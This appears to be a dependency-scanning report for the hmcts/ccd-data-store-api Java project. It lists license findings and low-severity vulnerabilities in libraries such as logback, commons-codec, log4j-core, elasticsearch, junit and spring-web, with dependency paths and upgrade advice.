  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-validation@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-actuator@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-cache@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-actuator@4.0.1 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.0 org.springframework.boot:spring-boot-starter-cache@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.0 org.springframework.cloud:spring-cloud-starter@5.0.0 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-starter@5.0.0 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springdoc:springdoc-openapi-starter-common@2.8.14 org.springframework.boot:spring-boot-starter-validation@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-core
  • Introduced through: ch.qos.logback:logback-core@1.5.24, ch.qos.logback:logback-classic@1.5.24 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-validation@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-actuator@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-cache@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-actuator@4.0.1 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.0 org.springframework.boot:spring-boot-starter-cache@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.0 org.springframework.cloud:spring-cloud-starter@5.0.0 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-starter@5.0.0 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springdoc:springdoc-openapi-starter-common@2.8.14 org.springframework.boot:spring-boot-starter-validation@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.24 ch.qos.logback:logback-core@1.5.24

Dual license: EPL-1.0, LGPL-2.1

medium severity

LGPL-2.1 license

  • Module: com.github.spotbugs:spotbugs-annotations
  • Introduced through: com.github.spotbugs:spotbugs-annotations@4.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 com.github.spotbugs:spotbugs-annotations@4.0.0

LGPL-2.1 license

medium severity

LGPL-2.0 license

  • Module: com.google.code.findbugs:annotations
  • Introduced through: com.google.code.findbugs:annotations@3.0.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 com.google.code.findbugs:annotations@3.0.0

LGPL-2.0 license

medium severity

EPL-1.0 license

  • Module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 junit:junit@4.12

EPL-1.0 license

medium severity

LGPL-2.1 license

  • Module: org.hibernate.common:hibernate-commons-annotations
  • Introduced through: org.hibernate.orm:hibernate-core@6.6.40.Final and org.springframework.boot:spring-boot-starter-data-jpa@4.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.hibernate.orm:hibernate-core@6.6.40.Final org.hibernate.common:hibernate-commons-annotations@7.0.3.Final
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-data-jpa@4.0.1 org.springframework.boot:spring-boot-hibernate@4.0.1 org.hibernate.orm:hibernate-core@6.6.40.Final org.hibernate.common:hibernate-commons-annotations@7.0.3.Final

LGPL-2.1 license

medium severity

LGPL-2.1 license

  • Module: org.hibernate.orm:hibernate-core
  • Introduced through: org.hibernate.orm:hibernate-core@6.6.40.Final and org.springframework.boot:spring-boot-starter-data-jpa@4.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.hibernate.orm:hibernate-core@6.6.40.Final
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-data-jpa@4.0.1 org.springframework.boot:spring-boot-hibernate@4.0.1 org.hibernate.orm:hibernate-core@6.6.40.Final

LGPL-2.1 license

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: io.github.openfeign:feign-httpclient@13.5 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign:feign-httpclient@13.5 org.apache.httpcomponents:httpclient@4.5.14 commons-codec:commons-codec@1.11
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.httpcomponents:httpclient@4.5.14 commons-codec:commons-codec@1.11
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.13.2 or higher.

References

low severity

Missing Authorization

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Missing Authorization by allowing users with Read access to the Uptime feature to modify alerting rules. That being said, any new or modified rules would not be enabled, and a user with this privilege could not modify alerting connectors.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.1, 8.0.1 or higher.

References

low severity

Information Exposure

  • Vulnerable module: junit:junit
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 junit:junit@4.12
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

junit:junit is an unit testing framework for Java

Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.

Remediation

Upgrade junit:junit to version 4.13.1 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
